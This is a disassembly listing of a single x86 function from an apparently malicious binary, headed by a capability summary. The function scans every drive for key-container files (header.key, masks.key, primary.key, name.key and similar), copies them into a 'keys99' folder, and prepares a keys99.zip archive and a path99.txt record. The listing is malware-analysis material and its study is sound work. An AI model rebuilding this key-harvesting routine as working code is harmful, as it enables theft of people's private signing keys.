Function at 0x10010c10
Capabilities:
Check if file exists
Copy file
Create directory
Get disk information
Get file attributes
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x73c
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x25]
push ebx
push eax
mov byte [esp + 0x2c], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x40c
lea ecx, [esp + 0x340]
push ebx
push ecx
mov dword [esp + 0x344], ebx
call sub.MSVCRT.dll_memset
mov edi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
add esp, 0xc
push 1
mov dword [esp + 0x10], ebx
call edi
lea edx, [esp + 0x338]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov esi, eax
shr esi, 2
mov dword [esp + 0x18], esi
cmp esi, ebx
je 0x100114aa
push 1
call edi
movzx eax, ax
mov dword [esp + 0x1c], eax
lea eax, [esp + esi*4 + 0x338]
lea ecx, [esp + esi*4 + 0x334]
neg eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
lea ebx, [ebx]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x10011480
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
lea edx, [esp + edx + 0x234]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10010cd2
lea eax, [esp + 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x10011480
push 0x1001ca00
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10010de0
xor eax, eax
jmp 0x10010d10
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x10010d10
push 0x100221f8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10010d31
lea edi, [esp + 0x20]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010d41
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x24]
push ecx
call ebx
lea eax, [esp + 0x20]
dec eax
jmp 0x10010d70
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10010d70
mov edx, dword [str.keys99]
mov cx, word [0x1001ca10]
mov dword [eax], edx
mov dl, byte [0x1001ca12]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x24]
push eax
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10010da2
mov ecx, dword [str.header.key]
mov edx, dword [0x1001ca18]
mov dword [eax], ecx
mov ecx, dword [0x1001ca1c]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x24]
push edx
push 0x1001ca00
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [esp + 0xc], 1
jmp 0x10010de6
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x1001ca20
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10010ec3
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x10010e00
push 0x100221f8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10010e21
lea edi, [esp + 0x20]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010e31
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [esp + 0x24]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10010e55
mov ecx, dword [str.keys99]
mov dx, word [0x1001ca10]
mov dword [eax], ecx
mov cl, byte [0x1001ca12]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x24]
push edx
mov byte [eax + 6], cl
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10010e87
mov ecx, dword [str.masks2.key]
mov edx, dword [0x1001ca30]
mov dword [eax], ecx
mov ecx, dword [0x1001ca34]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x24]
push edx
push 0x1001ca20
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [esp + 0xc], 1
push 0x1001ca38
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10010fae
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x10010ee0
push 0x100221f8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10010f01
lea edi, [esp + 0x20]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010f11
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [esp + 0x24]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10010f35
mov ecx, dword [str.keys99]
mov dx, word [0x1001ca10]
mov dword [eax], ecx
mov cl, byte [0x1001ca12]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x24]
push edx
mov byte [eax + 6], cl
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10010f67
mov ecx, dword [str.masks.key]
mov edx, dword [0x1001ca48]
mov dword [eax], ecx
mov cx, word [0x1001ca4c]
mov dword [eax + 4], edx
mov dl, byte [0x1001ca4e]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
push 0
lea eax, [esp + 0x24]
push eax
push 0x1001ca38
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [esp + 0xc], 1
push str.name.key
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10011090
xor eax, eax
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x10010fc4
push 0x100221f8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10010fe5
lea edi, [esp + 0x20]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10010ff5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x24]
push ecx
call ebx
lea eax, [esp + 0x20]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011020
mov edx, dword [str.keys99]
mov cx, word [0x1001ca10]
mov dword [eax], edx
mov dl, byte [0x1001ca12]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x24]
push eax
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011052
mov ecx, dword [str._name.key]
mov edx, dword [0x1001ca60]
mov dword [eax], ecx
mov cx, word [0x1001ca64]
mov dword [eax + 4], edx
push 0
lea edx, [esp + 0x24]
push edx
push str.name.key
mov word [eax + 8], cx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [esp + 0xc], 1
push 0x1001ca68
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001117e
xor eax, eax
jmp 0x100110b0
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x100110b0
push 0x100221f8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100110d1
lea edi, [esp + 0x20]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100110e1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [esp + 0x24]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011105
mov ecx, dword [str.keys99]
mov dx, word [0x1001ca10]
mov dword [eax], ecx
mov cl, byte [0x1001ca12]
mov word [eax + 4], dx
push 0
lea edx, [esp + 0x24]
push edx
mov byte [eax + 6], cl
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011137
mov ecx, dword [str.primary2.key]
mov edx, dword [0x1001ca7c]
mov dword [eax], ecx
mov ecx, dword [0x1001ca80]
mov dword [eax + 4], edx
mov dx, word [0x1001ca84]
mov dword [eax + 8], ecx
mov word [eax + 0xc], dx
push 0
lea eax, [esp + 0x24]
push eax
push 0x1001ca68
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [esp + 0xc], 1
push 0x1001ca88
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10011269
xor eax, eax
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x10011194
push 0x100221f8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100111b5
lea edi, [esp + 0x20]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100111c5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x24]
push ecx
call ebx
lea eax, [esp + 0x20]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100111f0
mov edx, dword [str.keys99]
mov cx, word [0x1001ca10]
mov dword [eax], edx
mov dl, byte [0x1001ca12]
mov word [eax + 4], cx
mov byte [eax + 6], dl
push 0
lea eax, [esp + 0x24]
push eax
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011222
mov ecx, dword [str.primary.key]
mov edx, dword [0x1001ca98]
mov dword [eax], ecx
mov ecx, dword [0x1001ca9c]
mov dword [eax + 4], edx
mov dl, byte [0x1001caa0]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
push 0
lea eax, [esp + 0x24]
push eax
push 0x1001ca88
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [esp + 0xc], 1
jmp 0x10011274
cmp dword [esp + 0xc], 0
je 0x10011480
xor eax, eax
jmp 0x10011280
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x10011280
push 0x100221f8
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100112a1
lea edi, [esp + 0x20]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100112b1
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea ecx, [esp + 0x24]
push ecx
call ebx
lea eax, [esp + 0x20]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100112d5
mov edx, dword [str.keys99.zip]
mov ecx, dword [0x1001caa8]
mov dword [eax], edx
mov dx, word [0x1001caac]
mov dword [eax + 4], ecx
mov cl, byte [0x1001caae]
mov word [eax + 8], dx
mov byte [eax + 0xa], cl
xor eax, eax
jmp 0x10011310
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x128], cl
inc eax
test cl, cl
jne 0x10011310
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x100221f8
call ebx
mov eax, 0x100221f8
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10011336
lea edi, [esp + 0x128]
sub eax, ecx
mov esi, ecx
dec edi
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10011350
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x128]
rep movsb byte es:[edi], byte [esi]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011370
mov edx, dword [str.keys99]
mov cx, word [0x1001ca10]
mov dword [eax], edx
mov dl, byte [0x1001ca12]
mov word [eax + 4], cx
mov byte [eax + 6], dl
lea eax, [esp + 0x128]
push eax
lea ecx, [esp + 0x24]
push ecx
call fcn.1001aaf0
test eax, eax
je 0x10011480
lea edx, [esp + 0x128]
push edx
call fcn.10004120
xor eax, eax
lea ecx, [ecx]
mov cl, byte [eax + 0x1001fdd0]
mov byte [esp + eax + 0x20], cl
inc eax
test cl, cl
jne 0x100113c0
push 0x100221f8
call ebx
mov eax, 0x100221f8
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100113e0
lea edi, [esp + 0x20]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100113f0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x20]
rep movsb byte es:[edi], byte [esi]
dec eax
jmp 0x10011410
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10011410
mov ecx, dword [str.path99.txt]
mov edx, dword [0x1001cab4]
mov dword [eax], ecx
mov cx, word [0x1001cab8]
mov dword [eax + 4], edx
mov dl, byte [0x1001caba]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
lea edx, [esp + edx + 0x12c]
lea esp, [esp]
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x10011450
lea eax, [esp + 0x128]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10011464
sub eax, edx
lea ecx, [esp + 0x128]
mov ebx, eax
push ecx
lea eax, [esp + 0x24]
call fcn.10003f60
mov eax, dword [esp + 0x18]
mov ecx, 4
add dword [esp + 0x14], ecx
sub dword [esp + 0x10], ecx
dec eax
mov dword [esp + 0x18], eax
test eax, eax
jne 0x10010cb0
movzx edx, word [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret